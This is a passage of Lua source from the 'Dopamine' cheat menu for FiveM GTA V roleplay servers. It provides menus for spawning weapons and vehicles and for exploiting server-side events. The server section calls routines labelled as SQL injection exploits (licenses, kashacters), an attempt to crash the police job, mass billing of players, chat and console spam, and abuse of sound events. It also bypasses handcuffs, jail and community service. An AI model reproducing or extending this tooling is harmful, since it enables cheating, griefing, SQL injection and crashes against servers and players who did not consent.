  2599. vehiclesEnginePowerBoostCurrent = currentIndex
  2600. vehiclesEnginePowerBoostSelected = currentIndex
  2601. end) then
  2602. elseif Dopamine.comboBoxSlider('Engine Torque Boost', Dopamine.comboBoxes[3]._words, vehiclesEngineTorqueBoostCurrent, vehiclesEngineTorqueBoostSelected,
  2603. function(currentIndex, selectedIndex)
  2604. vehiclesEngineTorqueBoostCurrent = currentIndex
  2605. vehiclesEngineTorqueBoostSelected = currentIndex
  2606. end) then
  2607. elseif Dopamine.comboBox('Change Sound', Dopamine.comboBoxes[2]._words, Dopamine.comboBoxes[2]._current, Dopamine.comboBoxes[2]._selected,
  2608. function(currentIndex, selectedIndex)
  2609. Dopamine.comboBoxes[2]._current = currentIndex
  2610. Dopamine.comboBoxes[2]._selected = selectedIndex
  2611. end) then
  2612. ForceVehicleEngineAudio(GetVehiclePedIsIn(GetPlayerPed(-1), false), Dopamine.comboBoxes[2]._words[Dopamine.comboBoxes[2]._selected])
  2613. elseif Dopamine.comboBox('Suspension', Dopamine.comboBoxes[1]._words, Dopamine.comboBoxes[1]._current, Dopamine.comboBoxes[1]._selected,
  2614. function(currentIndex, selectedIndex)
  2615. Dopamine.comboBoxes[1]._current = currentIndex
  2616. Dopamine.comboBoxes[1]._selected = selectedIndex
  2617. end) then
  2618. local pVehicle = Dopamine.datastore.pLocalPlayer.cVehicle
  2619. if pVehicle and DoesEntityExist(pVehicle) then
  2620. local currentSuspension = GetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise')
  2621. if Dopamine.comboBoxes[1]._words[Dopamine.comboBoxes[1]._selected] == 'Lower' then
  2622. SetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise', currentSuspension - 0.01)
  2623. elseif Dopamine.comboBoxes[1]._words[Dopamine.comboBoxes[1]._selected] == 'Raise' then
  2624. SetVehicleHandlingFloat(pVehicle, 'CHandlingData', 'fSuspensionRaise', currentSuspension + 0.01)
  2625. end
  2626. Dopamine.functions.repairVehicle(pVehicle)
  2627. end
  2628. elseif Dopamine.checkBox('No Fall', Dopamine.storedControls.vehNoFall) then
  2629. Dopamine.storedControls.vehNoFall = not Dopamine.storedControls.vehNoFall
  2630. elseif Dopamine.checkBox('Rainbow Paintjob', Dopamine.storedControls.vehRainbowCol) then
  2631. local storedPrimary, storedSecondary = nil
  2632. if Dopamine.storedControls.vehRainbowCol then
  2633. ClearVehicleCustomPrimaryColour(Dopamine.datastore.pLocalPlayer.cVehicle)
  2634. ClearVehicleCustomSecondaryColour(Dopamine.datastore.pLocalPlayer.cVehicle)
  2635. SetVehicleColours(Dopamine.datastore.pLocalPlayer.cVehicle, storedPrimary, storedSecondary)
  2636. else
  2637. storedPrimary, storedSecondary = GetVehicleColours(Dopamine.datastore.pLocalPlayer.cVehicle)
  2638. end
  2639. Dopamine.storedControls.vehRainbowCol = not Dopamine.storedControls.vehRainbowCol
  2640. elseif Dopamine.checkBox('Rainbow Lights', Dopamine.storedControls.vehRainbowLights) then
  2641. Dopamine.storedControls.vehRainbowLights = not Dopamine.storedControls.vehRainbowLights
  2642. elseif Dopamine.checkBox('Wallride', Dopamine.storedControls.vehWallride) then
  2643. Dopamine.storedControls.vehWallride = not Dopamine.storedControls.vehWallride
  2644. elseif Dopamine.checkBox('2-Step Vehicle', Dopamine.storedControls.veh2Step) then
  2645. Dopamine.storedControls.veh2Step = not Dopamine.storedControls.veh2Step
  2646. elseif Dopamine.checkBox('Always Wheelie', Dopamine.storedControls.vehAlwaysWheelie) then
  2647. Dopamine.storedControls.vehAlwaysWheelie = not Dopamine.storedControls.vehAlwaysWheelie
  2648. elseif Dopamine.checkBox('Drift Smoke', Dopamine.storedControls.vehDriftSmoke) then
  2649. Dopamine.storedControls.vehDriftSmoke = not Dopamine.storedControls.vehDriftSmoke
  2650. end
  2651.  
  2652. Dopamine.runDrawMenu()
  2653. elseif Dopamine.isMenuOpened('weaponOptions') then
  2654. if Dopamine.menuButton('Give Single Weapon', 'weaponOptionsTypes') then
  2655. elseif Dopamine.menuButton('Modify Weapon', 'weaponOptionsModification') then
  2656. elseif Dopamine.button('Give All Weapons', 'Native') then
  2657. Dopamine.functions.sPO.giveAllWeapons(false, GetPlayerPed(-1))
  2658. elseif Dopamine.button('Remove All Weapons', 'Native') then
  2659. RemoveAllPedWeapons(Dopamine.datastore.pLocalPlayer.pedId, true)
  2660. elseif Dopamine.comboBox('Re-fill Ammo', {'Current', 'All'}, Dopamine.storedControls.weaponsGiveAmmoCurrent, Dopamine.storedControls.weaponsGiveAmmoSelected,
  2661. function(currentIndex, selectedIndex)
  2662. Dopamine.storedControls.weaponsGiveAmmoCurrent = currentIndex
  2663. Dopamine.storedControls.weaponsGiveAmmoSelected = currentIndex
  2664. end) then
  2665. if Dopamine.storedControls.weaponsGiveAmmoSelected == 1 then
  2666. local retval, weaponHash = GetCurrentPedWeapon(GetPlayerPed(-1), true)
  2667. AddAmmoToPed(GetPlayerPed(-1), weaponHash, 250)
  2668. elseif Dopamine.storedControls.weaponsGiveAmmoSelected == 2 then
  2669. for i = 1, #Dopamine.trashTables.weaponsModels do
  2670. AddAmmoToPed(GetPlayerPed(-1), GetHashKey(Dopamine.trashTables.weaponsModels[i]), 250)
  2671. end
  2672. end
  2673. elseif Dopamine.comboBox('Damage Multiplier', Dopamine.storedControls.weaponsDamageMultiplier, Dopamine.storedControls.weaponsDamageMultiplierCurrent, Dopamine.storedControls.weaponsDamageMultiplierSelected,
  2674. function(currentIndex, selectedIndex)
  2675. Dopamine.storedControls.weaponsDamageMultiplierCurrent = currentIndex
  2676. Dopamine.storedControls.weaponsDamageMultiplierSelected = currentIndex
  2677. Dopamine.storedControls.weaponsDamageMultiplierSet = intToFloat(Dopamine.storedControls.weaponsDamageMultiplier[Dopamine.storedControls.weaponsDamageMultiplierSelected])
  2678. end) then
  2679. end
  2680.  
  2681. Dopamine.runDrawMenu()
  2682. elseif Dopamine.isMenuOpened('weaponOptionsModification') then
  2683. if Dopamine.checkBox('Custom Bullet', Dopamine.storedControls.weapCustomBullet) then
  2684. Dopamine.storedControls.weapCustomBullet = not Dopamine.storedControls.weapCustomBullet
  2685. elseif Dopamine.comboBox('Custom Bullets', Dopamine.menuTables.weaponsCustomBullet.words, Dopamine.menuTables.weaponsCustomBullet.current, Dopamine.menuTables.weaponsCustomBullet.selected,
  2686. function(currentIndex, selectedIndex)
  2687. Dopamine.menuTables.weaponsCustomBullet.current = currentIndex
  2688. Dopamine.menuTables.weaponsCustomBullet.selected = currentIndex
  2689. Dopamine.menuTables.weaponsCustomBullet.actual = Dopamine.menuTables.weaponsCustomBullet.lists[Dopamine.menuTables.weaponsCustomBullet.selected]
  2690. end)
  2691. then
  2692. elseif Dopamine.checkBox('Explosive Impact', Dopamine.storedControls.weapExplosiveAmmo) then
  2693. Dopamine.storedControls.weapExplosiveAmmo = not Dopamine.storedControls.weapExplosiveAmmo
  2694. elseif Dopamine.checkBox('Teleport To Impact', Dopamine.storedControls.weapTeleportGun) then
  2695. Dopamine.storedControls.weapTeleportGun = not Dopamine.storedControls.weapTeleportGun
  2696. elseif Dopamine.checkBox('Rapid Fire', Dopamine.storedControls.weapRapidFire) then
  2697. Dopamine.storedControls.weapRapidFire = not Dopamine.storedControls.weapRapidFire
  2698. end
  2699.  
  2700. Dopamine.runDrawMenu()
  2701. elseif Dopamine.isMenuOpened('serverOptions') then
  2702. Dopamine.setSubTitle('serverOptions', 'Server IP: '..Dopamine.natives.getCurrentServerEndpoint())
  2703. if Dopamine.menuButton('Server Resources', 'serverOptionsResources') then
  2704. elseif Dopamine.menuButton('Trigger Events', 'serverOptionsTriggerEvents') then
  2705. elseif Dopamine.comboBoxSlider('Ped Density', pedDensityXWords, pedDensityXCurrent, pedDensityXSelectedf,
  2706. function(currentIndex, selectedIndex)
  2707. pedDensityXCurrent = currentIndex
  2708. pedDensityXSelectedf = currentIndex
  2709. pedDensityXSelected = pedDensityX[currentIndex]
  2710. end) then
  2711. end
  2712.  
  2713. if Dopamine.button('Resource', Dopamine.natives.getCurrentResourceName()) then
  2714. end
  2715.  
  2716. if Dopamine.functions.doesResourceExist('es_extended') then
  2717. if Dopamine.datastore.es_extended then
  2718. if Dopamine.button('ESX', (tostring(Dopamine.datastore.es_extended) == 'esx:getSharedObject' and '' or '~r~')..tostring(Dopamine.datastore.es_extended)) then
  2719. end
  2720. end
  2721. end
  2722.  
  2723. Dopamine.runDrawMenu()
  2724. elseif Dopamine.isMenuOpened('serverOptionsResources') then
  2725. if validResources and validResources ~= nil and #validResources > 0 then
  2726. for _, resource in pairs(validResources) do
  2727. if Dopamine.menuButton(resource, 'serverOptionsResourcesSelected') then
  2728. SelectedResource = resource
  2729. end
  2730. end
  2731. else
  2732. local resourcesTableYK = Dopamine.trashFunctions.getResources()
  2733. for i=1, #resourcesTableYK do
  2734. if Dopamine.button(resourcesTableYK[i]) then
  2735. end
  2736. end
  2737. end
  2738.  
  2739. Dopamine.runDrawMenu()
  2740. elseif Dopamine.isMenuOpened('serverOptionsResourcesSelected') then
  2741. Dopamine.setSubTitle('serverOptionsResourcesSelected', SelectedResource .. ' Data')
  2742. if Dopamine.menuButton('Client Events', 'serverOptionsResourcesSelectedCEvents') then
  2743. end
  2744. if Dopamine.menuButton('Server Events', 'serverOptionsResourcesSelectedSEvents') then
  2745. end
  2746.  
  2747. Dopamine.runDrawMenu()
  2748. elseif Dopamine.isMenuOpened('serverOptionsResourcesSelectedCEvents') then
  2749. Dopamine.setSubTitle('serverOptionsResourcesSelectedCEvents', SelectedResource .. ' Client Events')
  2750. for key, name in pairs(validResourceEvents[SelectedResource]) do
  2751. if Dopamine.button(name) then
  2752. print(key)
  2753. end
  2754. end
  2755.  
  2756. Dopamine.runDrawMenu()
  2757. elseif Dopamine.isMenuOpened('serverOptionsResourcesSelectedSEvents') then
  2758. Dopamine.setSubTitle('serverOptionsResourcesSelectedSEvents', SelectedResource .. ' Server Events')
  2759. if validResourceServerEvents[SelectedResource] ~= nil then
  2760. for name, payload in pairs(validResourceServerEvents[SelectedResource]) do
  2761. if Dopamine.button(name) then
  2762. local tbl = msgpack.unpack(payload)
  2763. local buffer = name .. '('
  2764. for k, v in ipairs(tbl) do
  2765. buffer = (buffer .. tostring(v) .. (k == #tbl and ')' or ', '))
  2766. end
  2767.  
  2768. if #tbl == 0 then
  2769. buffer = (buffer .. ')')
  2770. end
  2771.  
  2772. print('^2' .. buffer)
  2773. end
  2774. end
  2775. end
  2776.  
  2777. Dopamine.runDrawMenu()
  2778. elseif Dopamine.isMenuOpened('menuSettings') then
  2779. if Dopamine.menuButton('Credits', 'credits') then
  2780. elseif Dopamine.menuButton('Keybinds', 'keybindSettings') then
  2781. elseif Dopamine.comboBox('Menu X', menuX, currentMenuX, selectedMenuX,
  2782. function(currentIndex, selectedIndex)
  2783. currentMenuX = currentIndex
  2784. selectedMenuX = selectedIndex
  2785. for i = 1, #Dopamine.menus_list do
  2786. Dopamine.setMenuX(Dopamine.menus_list[i], menuX[currentMenuX])
  2787. end
  2788. end)
  2789. then
  2790. elseif Dopamine.comboBox('Menu Y', menuY, currentMenuY, selectedMenuY,
  2791. function(currentIndex, selectedIndex)
  2792. currentMenuY = currentIndex
  2793. selectedMenuY = selectedIndex
  2794. for i = 1, #Dopamine.menus_list do
  2795. Dopamine.setMenuY(Dopamine.menus_list[i], menuY[currentMenuY])
  2796. end
  2797. end)
  2798. then
  2799. elseif Dopamine.comboBox('Maximum Displayed Options', menuOptionsCount, currentMenuOptionsCount, selectedMenuOptionsCount,
  2800. function(currentIndex, selectedIndex)
  2801. currentMenuOptionsCount = currentIndex
  2802. selectedMenuOptionsCount = selectedIndex
  2803. for i = 1, #Dopamine.menus_list do
  2804. Dopamine.setMaxOptionCount(Dopamine.menus_list[i], menuOptionsCount[currentMenuOptionsCount])
  2805. end
  2806. end)
  2807. then
  2808. elseif Dopamine.comboBox('Theme', Dopamine.menuProps.availableThemes, currentThemeIndex, selectedThemeIndex,
  2809. function(currentIndex, selectedIndex)
  2810. currentThemeIndex = currentIndex
  2811. selectedThemeIndex = currentIndex
  2812. end) then
  2813. Dopamine.menuProps.selectedTheme = Dopamine.menuProps.availableThemes[selectedThemeIndex]
  2814. Dopamine.initTheme()
  2815. elseif Dopamine.comboBox('Checkbox Style', Dopamine.menuProps.availableCheckboxStyles, currentCheckboxIndex, selectedCheckboxIndex,
  2816. function(currentIndex, selectedIndex)
  2817. currentCheckboxIndex = currentIndex
  2818. selectedCheckboxIndex = currentIndex
  2819. end) then
  2820. Dopamine.menuProps.selectedCheckboxStyle = Dopamine.menuProps.availableCheckboxStyles[selectedCheckboxIndex]
  2821. elseif Dopamine.checkBox('Rainbow', Dopamine.menuProps.selectedThemeRainbow) then
  2822. Dopamine.menuProps.selectedThemeRainbow = not Dopamine.menuProps.selectedThemeRainbow
  2823. elseif Dopamine.checkBox('Text Outline', Dopamine.menuProps.menu_TextOutline) then
  2824. Dopamine.menuProps.menu_TextOutline = not Dopamine.menuProps.menu_TextOutline
  2825. elseif Dopamine.checkBox('Text Drop Shadow', Dopamine.menuProps.menu_TextDropShadow) then
  2826. Dopamine.menuProps.menu_TextDropShadow = not Dopamine.menuProps.menu_TextDropShadow
  2827. elseif Dopamine.checkBox('Selection Rect', Dopamine.menuProps.menu_RectOverlay) then
  2828. Dopamine.menuProps.menu_RectOverlay = not Dopamine.menuProps.menu_RectOverlay
  2829. elseif Dopamine.button('~r~Close Menu', Dopamine.menuProps._mVersion) then
  2830. Dopamine.closeMenu()
  2831. Dopamine.shouldShowMenu = false
  2832. end
  2833.  
  2834. Dopamine.runDrawMenu()
  2835. elseif Dopamine.isMenuOpened('credits') then
  2836. local creditsList = {
  2837. 'Patri~s~k Ne~s~r~s~tige~s~l | N~s~ert~s~ige~s~l#5~s~39~s~1, github.com/nertigel',
  2838. 'Flacko | sir Flacko#1234, github.com/flacko1337',
  2839. 'WarMenu | github.com/warxander/warmenu',
  2840. 'SkidMenu | github.com/Joeyarrabi/skidmenu',
  2841. 'RipTide | unknowncheats.me',
  2842. 'LUX | leuit#0100, inspiration and help with sprites'
  2843. }
  2844. for i = 1, #creditsList do
  2845. if Dopamine.button(creditsList[i]) then
  2846. end
  2847. end
  2848.  
  2849. Dopamine.runDrawMenu()
  2850. elseif Dopamine.isMenuOpened('keybindSettings') then
  2851. for k, v in pairs(Dopamine.keyBinds) do
  2852. if Dopamine.button(v.label, (v.handle and '['..v.handle..']' or '[None]')) then
  2853. dir_print(json.encode(Keys))
  2854. local aInput = Dopamine.trashFunctions.keyboardInput('Input New Key Name', '', 10)
  2855. local key = string.upper(aInput)
  2856.  
  2857. if Keys[key] then
  2858. v.handle = key
  2859. Dopamine.pushNotification('Menu bind has been set to ['..key..']', 5000)
  2860. else
  2861. if aInput == 'None' or aInput == nil or aInput == '' then
  2862. if v == Dopamine.keyBinds.currentKeybindMenu then
  2863. Dopamine.pushNotification('This key cannot be unbound.', 5000)
  2864. else
  2865. v.handle = nil
  2866. Dopamine.pushNotification('Key has been unbound.', 5000)
  2867. end
  2868. else
  2869. Dopamine.pushNotification('Key '..key..' is not valid!', 5000)
  2870. end
  2871. end
  2872. end
  2873. end
  2874.  
  2875. Dopamine.runDrawMenu()
  2876. elseif Dopamine.isMenuOpened('weaponOptionsTypes') then
  2877. for yeet, ayy in pairs(Dopamine.trashTables.weaponsTable) do
  2878. if Dopamine.menuButton(yeet, 'weaponOptionsTypeSelection') then
  2879. weaponOptionsSelected = ayy
  2880. end
  2881. end
  2882.  
  2883. Dopamine.runDrawMenu()
  2884. elseif Dopamine.isMenuOpened('weaponOptionsTypeSelection') then
  2885. for _, ayy in pairs(weaponOptionsSelected) do
  2886. if Dopamine.menuButton(ayy.name, 'weaponsModOptions') then
  2887. weaponOptionsSelectedWeapon = ayy
  2888. end
  2889. end
  2890.  
  2891. Dopamine.runDrawMenu()
  2892. elseif Dopamine.isMenuOpened('weaponsModOptions') then
  2893. if Dopamine.button('Spawn Weapon') then
  2894. Dopamine.natives.giveWeaponToPed(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), 1000, false)
  2895. elseif Dopamine.button('Add Ammo') then
  2896. SetPedAmmo(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), 250)
  2897. elseif Dopamine.checkBox('Infinite Ammo', weaponOptionsSelectedWeapon.bInfAmmo) then
  2898. weaponOptionsSelectedWeapon.bInfAmmo = not weaponOptionsSelectedWeapon.bInfAmmo
  2899. SetPedInfiniteAmmo(GetPlayerPed(-1), weaponOptionsSelectedWeapon.bInfAmmo, GetHashKey(weaponOptionsSelectedWeapon.id))
  2900. SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
  2901. PedSkipNextReloading(GetPlayerPed(-1))
  2902. end
  2903. for yeet, ayy in pairs(weaponOptionsSelectedWeapon.mods) do
  2904. if Dopamine.menuButton(yeet, 'weaponsModSelect') then
  2905. weaponOptionsSelectedMod = ayy
  2906. end
  2907. end
  2908.  
  2909. Dopamine.runDrawMenu()
  2910. elseif Dopamine.isMenuOpened('weaponsModSelect') then
  2911. for _, ev in pairs(weaponOptionsSelectedMod) do
  2912. if Dopamine.button(ev.name) then
  2913. GiveWeaponComponentToPed(GetPlayerPed(-1), GetHashKey(weaponOptionsSelectedWeapon.id), GetHashKey(ev.id))
  2914. end
  2915. end
  2916.  
  2917. Dopamine.runDrawMenu()
  2918. elseif Dopamine.isMenuOpened('savedVehiclesOptions') then
  2919. Dopamine.setSubTitle('savedVehiclesOptions', #Dopamine.datastore.savedVehicles..' Saved Vehicles')
  2920. if Dopamine.button('Save Current Vehicle', 'Input') then
  2921. if IsPedInAnyVehicle(Dopamine.datastore.pLocalPlayer.pedId) then
  2922. local cInput = Dopamine.trashFunctions.keyboardInput('name', '', 100)
  2923. if Dopamine.functions.game.isNullOrEmpty(cInput) then cInput = 'un-named' end
  2924.  
  2925. local rGlobal = {name = cInput, props = Dopamine.functions.game.getVehicleProperties(Dopamine.datastore.pLocalPlayer.cVehicle)}
  2926. if rGlobal and rGlobal.props then
  2927. table.insert(Dopamine.datastore.savedVehicles, rGlobal)
  2928. end
  2929. end
  2930. end
  2931.  
  2932. if Dopamine.datastore.savedVehicles and #Dopamine.datastore.savedVehicles > 0 then
  2933. for _i=1, #Dopamine.datastore.savedVehicles do
  2934. if Dopamine.menuButton(Dopamine.datastore.savedVehicles[_i].name..' | '..Dopamine.datastore.savedVehicles[_i].props.model, 'selectedSavedVehicleOptions') then
  2935. Dopamine.datastore.savedVehiclesOptionsHandle = Dopamine.datastore.savedVehicles[_i]
  2936. Dopamine.datastore.savedVehiclesOptionsDeleteHandle = _i
  2937. end
  2938. end
  2939. end
  2940.  
  2941. Dopamine.runDrawMenu()
  2942. elseif Dopamine.isMenuOpened('selectedSavedVehicleOptions') then
  2943. if Dopamine.button('Spawn Vehicle', 'Native') then
  2944. local carToSpawn = Dopamine.datastore.savedVehiclesOptionsHandle
  2945. if carToSpawn.props then
  2946. Dopamine.functions.spawnCustomVehicle({hash = carToSpawn.props.model, props = carToSpawn.props, setIn = true})
  2947. end
  2948. elseif Dopamine.button('Remove Vehicle', 'Native') then
  2949. table.remove(Dopamine.datastore.savedVehicles, Dopamine.datastore.savedVehiclesOptionsDeleteHandle)
  2950. Dopamine.openMenu('savedVehiclesOptions')
  2951. end
  2952.  
  2953. Dopamine.runDrawMenu()
  2954. elseif Dopamine.isMenuOpened('vehicleLosSantosCustoms') then
  2955. if Dopamine.menuButton('Cosmetic Upgrades', 'vehicleLosSantosCustomsCosmetics') then
  2956. elseif Dopamine.menuButton('Performance Upgrades', 'vehicleLosSantosCustomsPerformance') then
  2957. elseif Dopamine.button('Change License Plate', 'Native') then
  2958. local plateInput = Dopamine.trashFunctions.keyboardInput('Enter Plate Text (8 Characters):', 'd0pamine', 8)
  2959. if not Dopamine.functions.game.isNullOrEmpty(plateInput) then
  2960. Dopamine.trashFunctions.reqControlOnce(Dopamine.datastore.pLocalPlayer.cVehicle)
  2961. SetVehicleNumberPlateText(Dopamine.datastore.pLocalPlayer.cVehicle, plateInput)
  2962. end
  2963. elseif Dopamine.button('Max Peformance Upgrades', 'Native') then
  2964. Dopamine.functions.maxPerformanceUpgrades(GetVehiclePedIsIn(Dopamine.datastore.pLocalPlayer.pedId))
  2965. elseif Dopamine.button('Max All Upgrades', 'Native') then
  2966. Dopamine.functions.maxUpgrades(GetVehiclePedIsIn(Dopamine.datastore.pLocalPlayer.pedId))
  2967. end
  2968.  
  2969. Dopamine.runDrawMenu()
  2970. elseif Dopamine.isMenuOpened('vehicleLosSantosCustomsCosmetics') then
  2971. if IsPedInAnyVehicle(Dopamine.datastore.pLocalPlayer.pedId, 0) then
  2972.  
  2973. else
  2974. if Dopamine.button('You\'re not inside a vehicle') then
  2975. end
  2976. end
  2977. Dopamine.runDrawMenu()
  2978. elseif Dopamine.isMenuOpened('vehicleLosSantosCustomsPerformance') then
  2979. if IsPedInAnyVehicle(Dopamine.datastore.pLocalPlayer.pedId, 0) then
  2980. Dopamine.functions.initializeUpgradesTab()
  2981. if IsToggleModOn(Dopamine.datastore.pLocalPlayer.cVehicle, 18) then
  2982. turboStatus = '~g~Installed'
  2983. else
  2984. turboStatus = '~r~Not Installed'
  2985. end
  2986. if Dopamine.button('Turbo', turboStatus) then
  2987. if not IsToggleModOn(Dopamine.datastore.pLocalPlayer.cVehicle, 18) then
  2988. ToggleVehicleMod(Dopamine.datastore.pLocalPlayer.cVehicle, 18, not IsToggleModOn(Dopamine.datastore.pLocalPlayer.cVehicle, 18))
  2989. else
  2990. ToggleVehicleMod(Dopamine.datastore.pLocalPlayer.cVehicle, 18, not IsToggleModOn(Dopamine.datastore.pLocalPlayer.cVehicle, 18))
  2991. end
  2992. end
  2993. else
  2994. if Dopamine.button('You\'re not inside a vehicle') then
  2995. end
  2996. end
  2997.  
  2998. Dopamine.runDrawMenu()
  2999. elseif Dopamine.isMenuOpened('vehicleSpawnList') then
  3000. if Dopamine.checkBox('Spawn Upgraded', Dopamine.storedControls.vehSpawnUpgraded) then
  3001. Dopamine.storedControls.vehSpawnUpgraded = not Dopamine.storedControls.vehSpawnUpgraded
  3002. elseif Dopamine.checkBox('Spawn Inside', Dopamine.storedControls.vehSpawnInside) then
  3003. Dopamine.storedControls.vehSpawnInside = not Dopamine.storedControls.vehSpawnInside
  3004. elseif Dopamine.button('Spawn Custom Vehicle', 'Native') then
  3005. local ModelName = Dopamine.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 100)
  3006. if ModelName and IsModelValid(ModelName) and IsModelAVehicle(ModelName) then
  3007. Dopamine.functions.spawnCustomVehicle({hash = GetHashKey(ModelName), setIn = Dopamine.storedControls.vehSpawnInside})
  3008. else
  3009. Dopamine.pushNotification('Model is not valid!', 5000)
  3010. end
  3011. elseif Dopamine.button('Spawn & Ride Train', 'Native') then
  3012. Dopamine.functions.spawnRandomTrain()
  3013. end
  3014. for yeet, ayy in ipairs(Dopamine.trashTables.vehicleCategories) do
  3015. if Dopamine.menuButton(ayy, 'vehicleSpawnSelected') then
  3016. selectedCarTypeIdx = yeet
  3017. end
  3018. end
  3019.  
  3020. Dopamine.runDrawMenu()
  3021. elseif Dopamine.isMenuOpened('vehicleSpawnSelected') then
  3022. for yeet, ayy in ipairs(Dopamine.trashTables.fullVehiclesList[selectedCarTypeIdx]) do
  3023. local vehname = GetLabelText(ayy)
  3024. if vehname == 'NULL' then vehname = ayy end
  3025. if Dopamine.menuButton(vehname, 'vehicleSpawnSelectedOptions') then
  3026. selectedCarToSpawn = yeet
  3027. end
  3028. end
  3029. Dopamine.runDrawMenu()
  3030. elseif Dopamine.isMenuOpened('vehicleSpawnSelectedOptions') then
  3031. if Dopamine.button('Spawn Car') then
  3032. Dopamine.functions.spawnVehicle(Dopamine.trashTables.fullVehiclesList[selectedCarTypeIdx][selectedCarToSpawn])
  3033. end
  3034.  
  3035. Dopamine.runDrawMenu()
  3036. elseif Dopamine.isMenuOpened('serverOptionsTriggerEvents') then
  3037. if Dopamine.menuButton('ESX Triggers', 'serverOptionsTriggerEventsESX') then
  3038. elseif Dopamine.menuButton('vRP Triggers', 'serverOptionsTriggerEventsVRP') then
  3039. elseif Dopamine.button('Spam Chat', 'Server') then
  3040. local message = Dopamine.trashFunctions.keyboardInput('Enter message', 'www.d0pamine | discord.gg/fjBp55t', 60)
  3041. Dopamine.functions.spamChat(message)
  3042. elseif Dopamine.button('InteractSound Earrape', 'Server') then
  3043. Dopamine.functions.exploits.interactSound()
  3044. end
  3045.  
  3046. Dopamine.runDrawMenu()
  3047. elseif Dopamine.isMenuOpened('serverOptionsTriggerEventsESX') then
  3048. if Dopamine.menuButton('Money & Item Options', 'serverOptionsTriggerEventsESXMoney') then
  3049. elseif Dopamine.button('Skin Changer', 'Client') then
  3050. if Dopamine.functions.doesResourceExist('esx_skin') then
  3051. Dopamine.closeMenu()
  3052. Dopamine.dTCE(false, false, 'esx_skin:openRestrictedMenu', function(data, menu) end)
  3053. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3054. elseif Dopamine.button('Unrestrain Handcuffs', 'Client') then
  3055. if Dopamine.functions.doesResourceExist('esx_policejob') then
  3056. Dopamine.dTCE(false, false, 'esx_policejob:unrestrain')
  3057. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3058. elseif Dopamine.button('Full Hunger', 'Client') then
  3059. if Dopamine.functions.doesResourceExist('esx_status') then
  3060. Dopamine.dTCE(false, false, 'esx_status:set', 'hunger', 1000000)
  3061. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3062. elseif Dopamine.button('Full Thirst', 'Client') then
  3063. if Dopamine.functions.doesResourceExist('esx_status') then
  3064. Dopamine.dTCE(false, false, 'esx_status:set', 'thirst', 1000000)
  3065. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3066. elseif Dopamine.button('Tuner Chip', 'Client') then
  3067. if Dopamine.functions.doesResourceExist('tunerchip') or Dopamine.functions.doesResourceExist('tunerlaptop') or
  3068. Dopamine.functions.doesResourceExist('xgc-tuner') or Dopamine.functions.doesResourceExist('tuninglaptop') then
  3069. Dopamine.dTCE(false, false, 'xgc-tuner:openTuner')
  3070. Dopamine.dTCE(false, false, 'tuning:useLaptop')
  3071. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3072. elseif Dopamine.button('Open Jail Menu ~(!)', 'Client') then
  3073. if Dopamine.functions.doesResourceExist('esx-qalle-jail') or Dopamine.functions.doesResourceExist('esx_qalle_jail') then
  3074. Dopamine.dTCE(false, false, 'esx-qalle-jail:openJailMenu')
  3075. else Dopamine.pushNotification('Resource was not found!', 5000) end
  3076. elseif Dopamine.button('Spawn Owned Vehicle', 'Server') then
  3077. local ModelName = Dopamine.trashFunctions.keyboardInput('Enter Vehicle Spawn Name', '', 20)
  3078. local PlateNumber = Dopamine.trashFunctions.keyboardInput('Enter Vehicle Plate Number', '', 8)
  3079. Dopamine.functions.sPO.SpawnLegalVehicle(ModelName, PlayerId(), PlateNumber)
  3080. elseif Dopamine.button('Sell Owned Vehicle', 'Server') then
  3081. Dopamine.functions.sPO.ESXSellVehicle()
  3082. elseif Dopamine.button('Finish Community Service', 'Server') then
  3083. Dopamine.dTCE(false, true, 'esx_communityservice:finishCommunityService', -1)
  3084. elseif Dopamine.button('Get All Licenses', 'Server') then
  3085. Dopamine.functions.exploits.esx_givelicenses()
  3086. elseif Dopamine.button('GCPhone Earrape', 'Server') then
  3087. Dopamine.functions.exploits.gcphoneTwitter()
  3088. elseif Dopamine.button('Licenses SQL Exploit', 'Server') then
  3089. Dopamine.functions.exploits.esx_license()
  3090. elseif Dopamine.button('Police Alert Spam', 'Server') then
  3091. Dopamine.functions.exploits.esx_outlawalert()
  3092. elseif Dopamine.button('Bill Everyone', 'Server') then
  3093. Dopamine.functions.exploits.esx_billing()
  3094. elseif Dopamine.button('Phone J~s~obs Spam', 'Server') then
  3095. Dopamine.functions.exploits.phoneSpam()
  3096. elseif Dopamine.button('Spam Server Console', 'Server') then
  3097. Dopamine.functions.exploits.esx_spam_server_console()
  3098. elseif Dopamine.button('Police Job Crash Attempt ~r~(!)', 'Server') then
  3099. Dopamine.functions.exploits.esx_policejob_crash()
  3100. elseif Dopamine.comboBox('Open Boss Menu ~r~(!)', availableESXBossMenus, currentESXOpenBossMenu, selectedESXOpenBossMenu,
  3101. function(currentIndex, selectedIndex)
  3102. currentESXOpenBossMenu = currentIndex
  3103. selectedESXOpenBossMenu = currentIndex
  3104. end)
  3105. then
  3106. Dopamine.dTCE(false, false, 'esx_society:openBossMenu', string.lower(availableESXBossMenus[selectedESXOpenBossMenu]), function(data, menu) menu.close() end)
  3107. Dopamine.closeMenu()
  3108. elseif Dopamine.comboBox('Kashacters SQL Exploit', Dopamine.menuTables.serverKashactersSQL.words, Dopamine.menuTables.serverKashactersSQL.current, Dopamine.menuTables.serverKashactersSQL.selected,
  3109. function(currentIndex, selectedIndex)
  3110. Dopamine.menuTables.serverKashactersSQL.current = currentIndex
  3111. Dopamine.menuTables.serverKashactersSQL.selected = currentIndex
  3112. Dopamine.menuTables.serverKashactersSQL.actual = Dopamine.menuTables.serverKashactersSQL.lists[Dopamine.menuTables.serverKashactersSQL.selected]
  3113. end)
  3114. then
  3115. Dopamine.functions.exploits.esx_kashacters(false, 'clean', Dopamine.menuTables.serverKashactersSQL.actual)
  3116. end
  3117.  
  3118. Dopamine.runDrawMenu()
  3119. elseif Dopamine.isMenuOpened('serverOptionsTriggerEventsESXMoney') then
